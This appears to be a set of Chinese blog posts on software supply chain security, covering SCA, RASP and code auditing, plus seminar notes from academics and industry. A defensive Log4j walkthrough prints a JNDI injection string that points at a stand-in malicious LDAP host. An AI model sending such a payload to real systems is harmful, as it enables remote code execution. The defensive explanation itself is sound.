   - 漏洞的基本信息（名称、严重程度等）

   - 依赖信息

   - 临时修复方法

   - POC/EXP 可用性

   - 补丁包情况

 4. 进阶分析：

   - 漏洞可达性分析

   - 结合代码审计能力

   - 分析漏洞可达链路

   - 判断漏洞的真实性和可利用性

 5. 工具链整合：

   - 结合ASTS（应用安全测试工具链）

   - 包括白盒、黑盒、运行时交互式灰盒测试

   - 与SCA工具结合进行漏洞排序    

 6. 修复措施评估：

   - 组件/中间件升级

   - 补丁应用

   - 环境配置调整

   - 热补丁/运行时插桩

   - WAF规则

   - 策略管控（白名单、质量门禁等）

 7. 供应商风险评估：

   - 评估商业采购和开源项目

   - 分析自研、采购和开源软件

   - 评估补丁包、更新包

   - 分析物料清单、源码文件、二进制文件

 8. 风险报告生成：

   - 包含漏洞信息、许可证信息、敏感信息配置等

   - 描绘供应商风险画像

 9. 供应链安全管理平台（SCS）：

   - 集成各种来源的软件检测和管理

   - 支持软件资产测绘和风险分析

   - 结合业务环境和外部系统

   - 对接态势感知系统

 10. 目标：

    - 以SCA为核心建立企业级供应链安全管理平台    

    - 使用SBOM描述和定位资产信息

    - 实现风险快速溯源

    - 提高漏洞响应效率

    - 实现从引入到生成到运行的闭环管理

 这种方法旨在通过多维度分析和工具整合，为供应链风险治理提供更精准的优先级建议，从而提高安全管理的效率和有效性。

源码漏洞降噪

供应链安全左侧的漏洞如何降噪减轻运行压力？

1. 利用SCA（软件成分分析）技术：

   - 深入分析漏洞信息，包括基本信息（名称、严重等级、修复方法）

   - 运营更深层次的漏洞信息（触发条件、POC和EXP可利用性）

   - 根据深入信息研判漏洞修复优先级

   - 识别漏洞的入口函数和触发函数

 2. 结合代码审计：

   - 检测自研代码中是否使用了开源项目中的风险代码

 3. 工具链联动：

   - 结合ASGS（应用安全测试工具链）和SCA

   - 判断漏洞引入的阶段和环节

   - 评估漏洞的真实性

 4. 多维度分析：

   - 分析代码中声明的软件与实际构建时引入的软件的差异    

   - 评估构建引入的软件在运行时是否真正使用

 5. 运行时技术：

   - 使用运行时分析技术研判软件实际使用情况

 6. 多技术融合：

   - 综合使用多种ISA（Information Security Architecture）技术手段

   - 收敛和分析来自不同层面的数据

 7. 针对自研代码：

   - 使用AST（抽象语法树）分析

   - 应用代码审计

   - 结合IST（交互式灰盒测试）和DAST（动态应用程序安全测试）等工具

 这些方法综合应用，可以更准确地识别真正的风险，减少误报，从而降低处理压力，提高供应链安全管理的效率。

3 软件组件分析(SCA)技术深度解析

3.1 SCA技术概述及其局限性分析

SCA是入门工具

软件成分分析、许可证漏洞风险、软件的代码的开源比例检测

 开源SCA

开源或厂商开放saas产品，有很多局限性，本质上是漏洞库的全面性问题！

【思】能提取特征，查询接口，或能买数据，是否就不需要买产品了？

 3.2 源码、二进制、运行时SCA比较    

三者共同构成了我们对于软件供应链开源治理的不同的手段，或者是一个技术路径，需要联动

 3.3 SCA与代码审计的区别与协同

{llm补充}

1. 分析对象:

   - SCA主要分析软件中使用的第三方组件和依赖库

   - 代码审计主要分析软件的源代码或反汇编代码

 2. 目的:

   - SCA旨在识别和管理第三方组件中的已知漏洞和许可证风险

   - 代码审计旨在发现自身代码中的安全漏洞、逻辑错误和性能问题

 3. 分析方法:

   - SCA通常使用自动化工具比对已知漏洞数据库

   - 代码审计可能结合自动化工具和人工审查

 4. 深度:

   - SCA相对表层,主要关注组件版本和已知漏洞

   - 代码审计更深入,可以发现未知漏洞和特定于应用的问题

 5. 时机:

   - SCA可以在开发早期和持续集成过程中频繁进行

   - 代码审计通常在重要的开发阶段或发布前进行

 6. 技能要求:

   - SCA对操作人员的技术要求相对较低

   - 代码审计需要更专业的安全知识和编程经验    

 这两种方法通常是互补的,结合使用可以提供更全面的软件安全保障。需要更多信息或详细解释吗?

4 运行时应用自我保护RASP技术

4.1 运行时安全原理

运行时这个 SCA 是如何实现的啊？

解释型语言

1. 运行时SCA主要通过字节码插桩技术实现,将检测代码注入到应用程序中。

 2. 对于解释型语言(如Python、Java),需要在解释器层面埋入探针,监控程序运行过程中加载的第三方组件信息。

 3. 通过插桩不仅可以分析组件信息,还可以获取函数调用信息和传递的参数。

 4. 这种方式可以实现对开源组件运行时的资产风险盘点和风险攻击应对。

 编译型语言

{llm补充}

对于编译型语言(如C/C++),运行时SCA的实现方式与解释型语言略有不同:

 1. 二进制插桩:在编译后的二进制文件中插入检测代码。可以使用动态二进制插桩工具(如Pin、DynamoRIO)在程序运行时动态插入检测代码。

 2. 动态链接库劫持:替换或劫持程序使用的动态链接库,在库函数调用时执行额外的检测逻辑。

 3. 内存注入:在目标进程的内存空间中注入检测代码,实现运行时监控。

 4. 系统调用钩子:通过拦截系统调用,监控程序与操作系统的交互,从而分析程序行为。    

 5. 调试器接口:利用操作系统提供的调试器接口,在程序执行过程中进行断点设置和数据收集。

 这些技术允许在编译型语言的程序运行时进行组件信息收集、函数调用监控和行为分析,实现与解释型语言类似的SCA功能。

 需要注意的是,编译型语言的运行时SCA实现通常比解释型语言更复杂,可能会对程序性能造成较大影响,因此在实际应用中需要权衡检测的粒度和性能开销。

4.2 有快速整改能力的RASP方案

对于快速修复组件漏洞,RASP(Runtime Application Self-Protection)是一种有效方案。

RASP能够天然形成免疫能力,但对产品要求高,需要插桩和一定的运维能力。

打补丁也是一种方法,但同样对运维技术要求较高。

RASP被认为是云原生领域最好的解决方案,基本无感知且效率最高。

其他方法如升级、打补丁等需要左移,相对较慢且需要开发能力。

4.3 RASP案例剖析（以Log4j为例）

{llm补充}

Log4j漏洞示例:

 假设有一个使用Log4j 2.14.1版本的Java Web应用程序,它记录用户输入的数据。攻击者可能会尝试利用以下恶意字符串进行攻击:

```

${jndi:ldap://malicious-server.com/exploit}    

```

 这个字符串如果被Log4j处理,会触发JNDI注入,从攻击者控制的服务器下载并执行恶意代码。

 RASP应对方案(step by step):

 1. 部署RASP:

   - 选择适合的RASP解决方案,如Contrast Security或Imperva RASP。

   - 将RASP agent集成到Java应用程序中,通常通过添加JVM参数实现。

   例如: java -javaagent:/path/to/rasp-agent.jar -jar your-application.jar

 2. 配置RASP规则:

   - 设置规则以检测JNDI查找操作。

   - 配置规则以识别可疑的LDAP/RMI URL模式。

 3. 运行时监控:

   - RASP在应用程序运行时持续监控所有输入和方法调用。

   - 当Log4j处理日志消息时,RASP会拦截相关方法调用。

 4. 检测攻击:

   - RASP检测到含有${jndi:ldap://...}模式的输入。

   - RASP识别出这是一个JNDI查找操作,可能导致远程代码执行。

 5. 实时防护:

   - RASP立即阻止JNDI查找操作的执行。    

   - 阻止与外部恶意服务器的连接尝试。

 6. 无害化处理:

   - RASP可能会将可疑输入替换为无害字符串,如"[已过滤]"。

   - 允许应用程序继续运行,但不执行危险操作。

 7. 告警和日志:

   - RASP生成详细的安全事件日志,包括攻击时间、类型和来源。

   - 触发告警通知安全团队。

 8. 动态更新:

   - RASP可以通过云端更新防护规则,以应对新发现的攻击变种。

 9. 性能优化:

   - RASP持续监控自身对应用性能的影响,并进行必要的优化。

 10. 报告和分析:

    - 生成攻击趋势报告,帮助团队了解威胁态势。

    - 提供建议以进一步加强应用程序安全性。

 技术讲解:

 RASP通过在Java字节码级别进行插桩,能够监控和控制应用程序的关键操作。对于Log4j漏洞,RASP主要关注以下几点:

 1. 字符串解析: RASP监控Log4j的字符串解析过程,识别可能触发JNDI查找的模式。

 2. JNDI操作: RASP拦截所有JNDI相关的方法调用,如InitialContext.lookup()。

 3. 网络连接: RASP监控网络连接尝试,阻止与未知或恶意服务器的连接。    

 4. 类加载: RASP监控动态类加载操作,防止加载未经授权的远程类。

 5. 上下文分析: RASP考虑调用栈和数据流,区分正常操作和潜在攻击。

 通过这种深度防护方法,RASP能够在不修改应用代码或等待补丁的情况下,有效防御Log4j漏洞攻击。同时,它的自适应特性使其能够应对未来可能出现的类似漏洞。

4.4 运行时应用自我保护(RASP)技术的实施策略

1. RASP的必要性:

   - RASP技术现在已经比过去成熟很多

   - 它能提供高效的运行时保护

 2. 实施建议:

   - 建议循序渐进实施,不要一步到位

   - 先从提高软件成分分析(SCA)能力开始

   - 使用交互式应用安全测试(IAST)等动态检测技术

   - 进行SCA漏洞可达性和优先级的交叉验证

   - 结合自动化渗透测试

 3. RASP实施顺序:

   - 先在边缘系统实施,再到核心系统

   - 这样可以让运营人员逐步适应

 4. 注意事项:

   - RASP的稳定性需要与业务相关

   - 可能会对业务产生一些影响    

   - 需要谨慎配置以平衡效率和影响

 5. 云原生:

   虽然原文没有直接提到云原生,但这种循序渐进、从边缘到核心的安全实施策略,与云原生环境的动态特性和微服务架构是契合的。

 总的来说,文章强调了在实施RASP时需要采取谨慎和渐进的方法,结合多种安全技术,以确保既能提高安全性,又能降低对业务的影响。

4.5 RASP是安全平行切面的一个应用

{线下请教兜哥:安全平行切面，和RASP有关系么？还是安全平行切面的前身是RASP? 答：RASP是安全平行切面的一个应用}

5 供应链安全工具的发展与需求

SCA只能满足最低的一个管控要求，单个工具的的安全能力都有自己的强项和劣势，所以说是各个工具的综合利用才能发挥最大的作用。

 5.1 核心诉求

1. 核心诉求:

工具自身的能力需要这个低误报、更精准、快速反馈

工具要联动，包括安全检测的编排、漏洞的交叉验证、漏洞的优先级

工具的自动化能力，比如说减少人工的干预，能够自动化 AI 提示

现状：单个有提高空间，综合联动比较差。总结的太好了！

 2. 厂商的应对:

- 平台实现工具链联动:

  - 除SCA外,还有代码审计、IAST、DAST等多种应用安全检测技术

  - 通过平台将各种工具进行联动

 - AI能力沉淀:

  - 结合AI做场景融合

  - 智能化漏洞修复推荐

  - 智能化漏洞可达性分析

 - 一站式安全解决方案:

  - 认识到用户希望一站式解决方案,而非多个产品组装

  - 强调自身在供应链安全方面的全面能力

 总的来说,厂商表示理解用户诉求,并从工具联动、AI应用和一站式解决方案等方面给出了自身的应对措施和优势。

5.2 用户体验

 1. 市场现状:

   - SCA领域已经有了显著发展，不再是刚起步的阶段。

   - 大型企业客户对SCA产品已经相当熟悉，应用范围广泛。

   - 市场竞争激烈，客户同时试用多家产品。

 2. 未来发展方向:

   a) 技术提升:    

      - 提高源码、二进制、运行时三个技术领域的上限。{怒赞！}

      - 提升组件库的准确性。

    b) 漏洞库和知识库完善: 【这部分需要买，也可以逆向采集】

      - 重视漏洞库和知识库的运营。

      - 逐步完善和扩充相关数据。

    c) 结合AI技术:

      - 智能化识别和分析：利用AI提高组件识别的准确性。

      - 自动化风险评估：结合历史漏洞记录、安全公告、社区反馈等多维度数据。

      - 智能推荐和自动化修复：AI辅助替换组件、优化代码结构，减轻开发人员负担。

【思】甲方不应该仅仅满足于"搭积木"和"买东西"，甲方也应该在技术发展方面有所思考和参与。

5.3 业务影响和平衡

安全对业务的影响:

1. 安全产品可能会影响业务效率,尤其是开发和运营速度。

2. 实施安全措施可能会导致系统变慢。

3. 发现大量待修复的软件和漏洞会给一线人员带来额外工作负担。

 应对策略:

1. 先易后难:先从软件成分分析(SCA)入手,摸清"家底",再考虑全面的工具和漏洞整改。    

2. 抓大放小:优先处理互联网资产暴露面的高危和超危漏洞。

3. 步步为营:充分利用现有平台(如CI/CD、DevOps),接入SCA SaaS服务。

4. 采用合规驱动的方式,推荐小步快跑的敏捷模式。

5. 选择最适合企业特点的定制化工具,提高效率。

6. 在选型时要结合自身特点,避免踩坑。

 总的来说,建议采取循序渐进的方法,优先处理关键问题,并选择适合企业需求的工具,以平衡安全需求和业务效率。

6 未来趋势和展望

6.1 甲方观点看安全产品演进

 "拳套"→"保镖"→"免疫力"

可有可无→阻碍业务→与业务协同)

1. 网络安全正在发生重大变化,从早期的"拳套"(可有可无)到"保镖"(阻碍业务),再到未来的"免疫力"(与业务协同)。

 2. 未来的安全应该像人体内的白细胞,能自然地应对威胁而不影响正常业务运作。

 3. 开源治理和安全左移很契合,在引入阶段做好安全工作可以避免后续很多麻烦。

 4. 有人提出建立官方维护的安全库的想法,但实现起来比较困难。可以考虑多方协作的半开源模式。

 5. 开源安全治理的核心是检测机制(规则/算法/引擎),可以应用于各个环节。    

 6. SCA(软件成分分析)和代码审计虽然都针对源代码,但分别作用于不同阶段。可以在流程中衔接使用。

6.2 安全厂商视角的SCA发展

 1. AI技术带来的变化:

   - 生成式AI可能被用于发现漏洞、执行攻击、制作恶意软件变种等,对传统安全防御体系构成挑战。

   - 安全技术也可以与AI融合,提升防护能力。

 2. 开源安全的重要性:

   - 需要官方与安全力量合作,建立可信的代码库、组件库、依赖库等。

   - 通过可信代码库实现源头治理。

 3. 供应链安全面临的挑战:

   - 如何保证官方代码库的安全性和责任界定。

   - 效率和完全自主可控之间的平衡。

 4. 未来发展方向:

   - AI与安全技术的深度融合。

   - 建立可信代码库和依赖库。

   - 加强源头治理。

 总的来说,供应链安全面临AI带来的新挑战,需要在开源管理、技术创新和责任机制等方面做出调整和改进。

 6.3 其他    

1. 安全能力应该从可选(optional)到必选(mandatory),最终成为默认(by default)的关联能力。基础技术应该形成默认的安全检测能力,提高内生安全。

2. 利用AI提高安全检测和治理能力是未来的重要方向。AI可以减少反应时间,提高检测效率,帮助应对海量软件的安全问题。

 3. 一些企业正在探索AI在安全领域的应用,包括:

   - 利用大模型进行运维降噪

   - 构建AI BOM(物料清单)来评估AI模型的安全性

   - 利用AI分析漏洞库,实现代码层面的可达性分析

   - 尝试用AI辅助自动化修复漏洞

 4. 供应链安全是一个重要研究方向,正在进行一些交叉领域的尝试。

 5. 虽然一些大厂商在AI安全方面已经做得很好,但对于体量较大的企业来说,仍需要进行更多的探索和实践。    

阅读原文

跳转微信打开

今天是世界读书日，我享受阅读带来的乐趣。以认真笔记、看了再看为必要条件，列了一个不是书单的《书单》，向过去一年启蒙我的师友们表示尊重和感谢。

今天是世界读书日，我享受阅读带来的乐趣。以认真笔记、看了再看为必要条件，列了一个不是书单的《书单》，向过去一年启蒙我的师友们表示尊重和感谢。

零、先放彩蛋：闲暇容易产生火花    

一、敏捷：先进、愉快的生产协作方式是什么？

二、心理学：近年和敏捷结合最紧密的学科

三、工业软件：软件学科的本源在哪里？

四、供应链：压箱底的技术怎么发挥价值？

五、智能：AI会踹破专业门槛吗？

六、大数据：大数据领域最核心的是什么？

七、人文社科：多学科交相辉映，也容易惠己达人

附、我的上届“书单”

阅读原文

跳转微信打开

软件供应链安全，是学术界和工业界的共同热点，学术洞见与产业方案双向奔赴，有机会形成根技术和新质产品。

前传：偶遇群星璀璨，开始追剧

2021年，我在B站ChinaSoft优秀青年学者论坛，看到复旦大学陈碧欢老师的软件供应链演讲，后续在一个厂商交流群满心欢喜加上他的微信。非常合拍的是，陈老师有很长一段时间，高频组织在线会议，大江南北、赤道两侧、东西半球、来自十多个顶尖名校的众多软件供应链学者，都出现在他组织的视频会议里面，我就幸福地追剧、提问、催更。我当然是CodeWisdom的铁粉，不过直到3月12日在开源生态与软件供应链研讨会，才现场见到陈老师真神和领军CodeWisdom的彭鑫教授本尊。研讨会内容很硬核，我整理一篇笔记，践行社区志愿者、知识搬运工职责。

感受：学术洞见与产业方案的双向奔赴

CodeWisdom有期微访谈，有个工业界的嘉宾感慨，学术界说的每一个坑，工业界都要踩一下。学术界的研究成果可以为产业界提供新的思路和技术基础，而产业界的需求和挑战也可以激发学术界的研究兴趣。

• 学术界通常于深入研究问题的根源，更多进行新理论探索、实验验证和基础研究，以解决更广泛、更深层次的挑战，推动领域的发展。从学术到解决方案周期长，但可以为未来的创新提供基础。

• 工业界更注重实用性和解决当前问题，倾向于快速实施或定制可行的解决方案，以满足市场需求和业务目标，解决方案的有效性和商业可行性通常比技术的原理更受重视。

这次研讨会也呈现了一个趋势，学术界和工业界的边界已经模糊，学术界的成果在工业界应用很广泛，工业界也和高校进行多层次的合作。

好奇：为什么积极参加学术活动？

走出校园快20年了，为何还回头关注高校和学术圈？原因就是第一性原理，溯源到本质问题，再去构建根本解，从我个人角度有两方面：

• 从源头校准问题定义及解法

• 学习并吸收学术界对所关注问题领域的术语规范、概念界定、理论构架。要保持严谨，不去偷换概念、朦胧实际问题，戒之慎之。

• 深入了解学术界的研究切入点、技术流派、核心算法,以及相关的开源基础软件资源。站在巨人的肩膀上，避免点错科技树，浪费宝贵精力。

• 在多重认知基础上研发根本解

• 在了解学术上游的基础上，我天天浸淫甲方研发现场，理解用户深层诉求，同时也熟悉乙方安全产品能力边界，三重认知有助于找到问题定位清晰、用户诉求强烈、厂商工具能力不匹配、尚未被解决的问题和机会。

• 啃文献、调代码、做产品、侃大山一样重要，踏实调研，研发根本解，做出能推广应用、兜底靠谱、体验舒服的解决方案，申请专利、发表论文、分享交流，此间不亦乐乎！

我从2021年初开始，以软件供应链分析为切入点，试水软件产业自身数字化的探索。选择的路线图是先基于逆向工程对软件供应链进行层层拆解，之后采用再工程幻化万千数字化场景，我认为此法门贴合第一性原理，3年后回首，实践证明亦如是。

宝矿：如果你是真剧迷？

巧合的是，上周学术界和工业界都发了两篇供应链、漏洞相关的合集帖，都很具代表性：智能化软件开发微访谈讨论汇编合集（第1-30期）,和关于漏洞闭环管理工具的杂谈| 总第237周， 如果您时间确实有限，可先看两篇，智能化软件开发微访谈·第二十九期：开源软件供应链风险分析与治理、以及银行业漏洞治理实践与展望--漏洞治理的道与术。

CodeWisdom的高频超乎我想象，陈老师那些天南海北的在线会议，内容都不在30期汇编合集里面，所以您若有空也可以往下瞅瞅本帖，每一章开头都有5个要点总结。

内容多，门槛高，若您有志于高质量发展，窄门就是捷径！

*以下内容根据会议笔记整理，顺序有所调整，错误疏漏难免，请以讲者的现场演讲内容和官宣为准，合议要点和主题要点由LLM生成。本场国防科技大学的余跃老师的OpenI主题，聚焦云计算和算力网，前瞻兼踏实，容我后期再专题笔记，学习跟踪。

合议1：软件供应链安全如何变被动应对为主动防御？

郑耿：主要是安全左移。例如：编码早期阶段识别风险；CICD自动化设置卡点，静态、动态分析设置卡点，目前误报率高，生产结合有差距；供应链管理，安全能力建设，识别体系环节每个点的安全威胁，根据分析结果做主动的防御措施和能力；安全能力建设，如软硬件结合缓解安全漏洞威胁，如可信执行能力，在更早期建设安全能力，增加攻击成本，降低安全风险。

李晓红：需要尽早防御，减少攻击面，主动识别评估，让攻击不能得逞。例如：对必要的依赖，要有可信的依赖源；依赖要做准入评估；自动化扫描，间接依赖链条也要早期发现；可利用漏洞，要能早预测；未知漏洞要有方法生成自动化测试并优化预测模型。

陈碧欢：内生安全，应对未知漏洞，有漏洞还能正常运行。

彭鑫：需要多种武器组合。例如，安全左移，cicd流程，嵌入工具，静态扫描，等等。@郑耿，工业界有多少种武器？

郑耿：针对不同产品线，有不同研发流程和工具；针对不同语言有编码规范，规范还翻译成扫描规则；也有商业扫描工具，但是假阳率比较高，需要安全工程师结合扫描结果进行人工代码级判断。

问：已知漏洞，同源漏洞如何发现？

郑耿：需要有商业数据库、自采数据库、自己挖掘的漏洞数据库，并将这些不同的数据汇集和清洗，基于这些漏洞库，对代码仓后台匹配扫描。

彭鑫：被动不可避免，被动正常，已知漏洞到了客户才暴露，如何稍微好一点、避免影响？横向类比，新冠病毒，国家防御体系高度联网，比对发现可以判断是已知的或新的病毒。软件漏洞却没做好，漏洞都是漏洞实例，报的也不准，漏洞实例真正的致病基因其实没多少，可能某一个致病基因就是某一个函数使用不对，同源漏洞、不同的漏洞致病基因是一致的，是否可以类比病毒防御体系，是可以建设国家引导、跨企业商业利益、有广泛共识的病毒库、指纹库、致病基因库。已知的不同语言的致病基因是差不多的，精确刻画漏洞的成因，业务上虽然比较难，但国家可以按照8/2原则做成标准。

陈碧欢：类似哪里冒一个新冠，要能很快感知到。

彭鑫：有些非技术原因，可能漏洞不报有利。有些厂商对上报漏洞不回复，下一个版本就悄悄修复了。

郑耿：站在厂商角度，龙蜥是厂商，申报CVE的比较多，主要是固件驱动，其实影响不大，优先级不高。在此呼吁：是否大家报漏洞的时候顺便修一下{全场大笑}。

陈碧欢：开源社区有隐藏漏洞的约定，例如要求commit不能包括cve信息，做“负责任的漏洞修复”。

陈森：左移好，越早越好；检测、修复都是单点存在，建议检测和修复要动态连接起来。以log4j为例，检测到修复时间跨度很大。全方位的防护离不开动态保障机制，也包括管理。攻击造成后果，理解攻击和恶意包的形式很有帮助，攻击可以总结出模式，可以根据攻击模式改善防御，可以根据28原则总结基础的攻击模式。

张迅晖：技术方面主动防御，开源生态研究，log4j2项目只有2个志愿者维护，也有没人维护的，生态不健康。软件健康度需要有模型进行预警。

彭鑫：评估很困难，小作坊不一定质量差，例如，汽车的小部件，质量总体可以的。

提问：CVE难直接对应到组件；是否有通用的排查方法。

彭鑫：CVE类似发动群众报信息，鱼龙混杂，更多的是从出问题的单点来报，没有细究背后的根本原因，需要超过单个企业的专业力量，例如国家力量，根据新暴露的漏洞去研究致病基因，例如访问内存模式问题，要有人去做致病基因或模式分析的事情，未来软件是信息化基础设施，出了问题，企业捂住几个漏洞可能还不够，大家有一致的目标，超出商业利益，互通有无，在信息层面抬高拉平，企业在其他场景更高质量水平上竞争。

合议2：大模型对供应链的机遇和挑战？

郑耿：大模型也有供应链，它的安全怎么定义？因为LLM的训练、微调、推理引入而数据安全、伦理安全等问题，也需要关注。

李晓红：做次科普。LLM使开发者生产代码方便，审查代码也支持；LLM作为强大的知识库，解决了一些问题；供应链管理，LLM对合规性、漏洞依赖性，可以做一些支撑工作；大模型提升了效率，但它在质量安全方面也引入漏洞，有些代码未经审查、存在错误，另外LLM有时效性，要不断更新；对LLM过度依赖也可能会导致创新受限。

彭鑫：围绕软件开发，开发侧的挑战之一是傻瓜式使用大模型的危害，程序员会有依赖心理，人工写代码是决策过程，推敲一件事再往下写，llm一下子生产出来了几十行代码，测试也能通过，但是细节的推敲跳过了，囫囵吞枣照单全收会有问题，例如重复克隆的问题扩大传播。第二，是过于聪明的黑客，可以使用大模型利用漏洞，poc的源代码可能都是现成的；第三，大模型对代码语义的理解强，精确性不理想，漏洞判别涉及语义，LLM有一些效果，是机遇的一方面。

陈森：一个有趣的问题，如果我们问llm，llm刚才生成的代码有没有漏洞，它会怎么回应？{全场欢乐}，大模型不宜直接替代任务，LLM有助于语义理解，但是精确语义理解LLM还有局限，需要找到结合点；安全逻辑问题，LLM不是那么容易理解；大模型供应链的建模也有挑战。

张迅晖：一大挑战是要找准结合的点，利用好LLM的能力，精确的任务LLM表现比较差。智能软件开发，利用chatgpt api，做大模型软件应用市场，是一个机遇。

陈碧欢：确定哪些事情给大模型做，是比较重要的问题。

陈森：利用大模型，有可能导致攻击面变大，如何控制是个问题。

郑耿：大模型的产生的代码，是否有license问题？它可以生成和开源项目一样的代码。

合议3：高校、企业、厂商如何分工合作、协同发展？

郑耿：企业内部对项目有精细合理的定位层级，例如，早期是和科研大所合作，先孵化；之后可以定位为预研，做简单的poc，验证可行性；之后就是和业务结合，成果输出，可执行性和陆续落地；最后是实际落地产出价值的比较完善的项目。

具体模式也很多，主要考虑怎么和生产结合，最大化价值产出的投入。例如，前沿的学术探索，我们和彭老师合作；开源合作也是不错平台，依托开源基金会等形式，在开源社区做合作探索；另外，关于漏洞的本质特征研究，大家都很关注，行业的安全厂商会用它来卖钱，涉及利益，厂商一般不会去开源合作。

陈碧欢：CCF也发挥了很好的作用，如CCF供应链安全小组，希望以开源的方式共建平台。

李晓红：学校理论层面创新，方案落地，标准规则制定，学校起到引领作用；企业关心产研落地，高校做完的研究去落地，高校有经费支持，企业提供社会服务。产学合作前提是发展软件供应链有前景，基础数据能够共享，现在cve、nvd是不是很全的，要有人去整理，也有人不愿意分享。大家为了一个共同的目标，去共享。高校很好的项目做完研究，如果没有持续更新的数据去落地，研究也会被阻碍，总的来说，校企要共建、分工。

彭鑫：产学研非常重要，供应链是重要的话题。世界运行依托软件，托付给软件越多，链条越复杂，威胁越大。平台企业，安全企业，研发企业，应用企业，要密集合作。对高校来讲，我们对工业界在实际应用中碰到的问题全貌、什么在企业中更重要，拿捏清楚比较难。站在工业界视角，供应链体系什么都需要，哪怕有些模块比较简单，但是完整的东西要先出来；工业界目标更明确，有上线的压力，需要探索不同的可能性，好用的拿来先用了再说。学术界可能对单点研究比较深，有论文、单点工具，也在做平台，例如伏羲平台里面软件供应链治理覆盖刚起步，大家要加强合作。

AI领域比较好，大家都在这个领域做事，领域进展大家都看得见，马上可以转化为生产力。供应链是个大课题，要把体系梳理清楚，要先区分什么地方是空白要去研究，什么地方已经很成熟不要再去碰，如果有成熟解决方案就不要再重复研究了。供应链看上去人人发文章，每人都在取得突破，都超过前人，但谁也不知道成果效果怎么样，心里没底，业界也不知道学术界的成果能帮助我到什么程度。

陈碧欢：每个sca都有专有的benchmark，都说自己好，如果有联盟就挺好的。

彭鑫：联盟挺好的，把各自开源的微服务变成演练和验证的基础，实践验证，大家一起建设公认的尺子，大家都自然而然承认成熟到什么程度了，避免各说各话。

陈森：学术界和工业界要加强有效沟通，目前机制没有健全。学术界参与社区，但没有很强的动机去参与，学术和工业两个领域相互了解动机也不强。只有工业界和学术界加强沟通，在一个平台上相互了解彼此，共享成果和待解决的问题，学术界渴望了解工业界的软件供应链做到什么程度了，有哪些痛点，目前还缺乏合适的条件和机会。

陈碧欢：CCF有组织类似软件供应链走进高校、厂商的活动。

陈森：要定义清晰的主题，吸引大家一起来搞一搞，高校行是否可以就一个领域，明确一个主题，例如SCA分析到什么程度了，大家就有很强的动力去专注参加。

彭鑫：学术界其实非常开放，高校最没有利益诉求，最想把问题梳理清楚，把卡点问题解决，问题特别吸引学术界的人。工业界不是特别透明，例如，有时候也请大厂来分享，但是分析的深度有限，因为工业界限制会比较多，感觉很体系化、什么问题都解决了，但是高级别的痛点是需要继续开放讨论的。

郑耿：有个例子，工业界成立容器安全联盟，就是希望建立机制，最大化的安全厂商的主观能动性，

张迅晖：我们组织开源校园大赛，组织企业把关心的问题发布到平台，学生接收、解决真问题。这样可以帮企业解决关心的、真正需要解决东西，也可以帮学生找工作、进行适配。另外，我们还有国产os专区、大家都可以去分享、互动某一个领域的进展。

主题1：软件供应链代码安全检测与验证关键技术 陈森 天津大学

开源软件是软件供应链发展重要推手，提升软件供应链自主权和安全性成为国家战略，也面临卡脖子风险，需要检测与验证开源和闭源代码的漏洞和恶意代码。

自主的代码安全架构设计

底层推出自主的动静态分析框架，支撑代码安全的相关研究，上层基于SAST/SCA/PoC，搭建自主供应链安全分析平台，进行代码安全的检测和验证。

代码安全关键技术研究聚焦安全左移

问题：漏洞检测漏报率高、误报率高

问题：恶意代码检测的恶意行为剖析难

静态应用安全测试SAST

问题：大数据集和训练

产学研合作有契机，学术界开放的数据集不大；企业界的数据量大，案例鲜活。

LLM OOPSLA结合大模型和传统，赋予大模型特殊漏洞检测能力，不是通用的检测方法，即对某一种漏洞类型有效。

软件成分分析SCA

二进制比代码难一点，主要进行语义的相似性比对。

问题：如何做代码克隆分析

基于克隆比包管理器要更容易一些，关键是属性特征定义要准确。JaCC做软件成分分析，函数级、基于类的相似性比对等方法，可以试验并排除不敏感的类特征。例如，java类特征的定义，可以基于语义特征，cfg、dfg特征；要注意不是所有代码都有用，要筛选、做测试，留下有用的信息；精确识别第三方组件的特征；代码的变异点对特征来说变了，还需要设定不同语义结构改变的权值、阈值。

问题：漏洞的可达性分析。

问题：识别脆弱函数

正着做脆弱函数的PoC难，不容易到达触发函数。我们提出逆向、反着做可达性分析，先识别出脆弱函数，再查询调用它的函数；难点之一在找到脆弱函数，提交commit可以知道那些函数改变，但不一定是引起漏洞的函数，需要明确change里面那些是脆弱函数。

问题：修复的版本选择

修复的难点：找到没有漏洞安全版本、并且兼容性没问题的版本；这是多目标优化问题求解。

典型现象：log4j高危漏洞，一年后，还大量存在下游版本中。

问题：数据的质量问题

做了SAST, SCA, 可达性分析之后，是否就完美了？数据质量还有大问题。

SCA数据缺失，导致漏洞源头、类型、影响、原因等不准确。

提出利用ai解决数据增强问题，cve的描述信息经常会缺失，影响上层应用。利用深度学习算法补全cve信息，上报cve后官方也接受了我们的补全，甚至官方因此增加了必填项的强制要求。

问题：补丁提交commit定位

脆弱函数追踪，需要patch信息支撑，和之前的版本比对，找出change，这部分陈碧欢老师已经有成果。

cve缺少patch信息，界定commit是否是patch的commit。提出借助大模型理解commit代码语义，补全cve的patch信息，并实现端到端模型，训练大模型，匹配出修复patch的commits，并做ranking，再优化判断。

代码安全技术演进

问题：漏洞报告太多，到底哪些是需要修复的

问题：POC的质量参差不齐，需要增强

SAST，精确性难保证，上报太多，到底哪些需要修复，需要动态安全漏洞验证方法（高精度）；

漏洞poc，质量不同，不同平台的信息差异性非常大，poc数据虽然很对的，但是数据需要增强。

另外poc的数量是远远少于cve的数量的，设想利用poc生成找不到的poc，帮助做漏洞验证。

sca检出的漏洞，移植到其他项目、架构、平台是否也可以触发漏洞。

问题：恶意代码怎么检测并进行行为剖析？

恶意包容易识别，特征比较突出。

恶意行为剖析比较难，要把恶意行为的表征建模出来，告诉用户恶意包干了什么事情。

目前主要分析python，把恶意包常见的攻击模式构建出来。基于代码语义建模和攻击序列建模，进行恶意行为剖析，显著提升恶意行为的解释性和可理解性。

问题：POC触发漏洞有太多步骤要做

提问：poc到漏洞触发发有很长的路要走

poc形式很多，可以是step，输入一个文件、命令、文本，poc形式不是单一，验证漏洞的方式是不一样的。有些需要人工，有些输入一些信息完整。验证自动化方法。

问题：漏洞函数如何定位，逆向捕捉

提问：漏洞触发函数，逆向定位函数，是怎么做的？基于规则，规则不是那么普适性，限定了漏洞类型。

确定脆弱函数不是复杂，也不过分追求健壮。采用了加、减两种方法。一是，削减冗余代码，我们发现并定义了很多类别，如构造函数。第二，漏洞修复时，不一定发布整个版本，可以在大版本周期内，进一步分析脆弱函数的引用情况，补全信息。

问题：怎么看sonarqube？

sonar是sast的一种方式，c、cpp，sast工作类别非常多，基于程序分析进行漏洞检测的类别非常多。

问题：依赖到什么程度才算依赖一个组件？

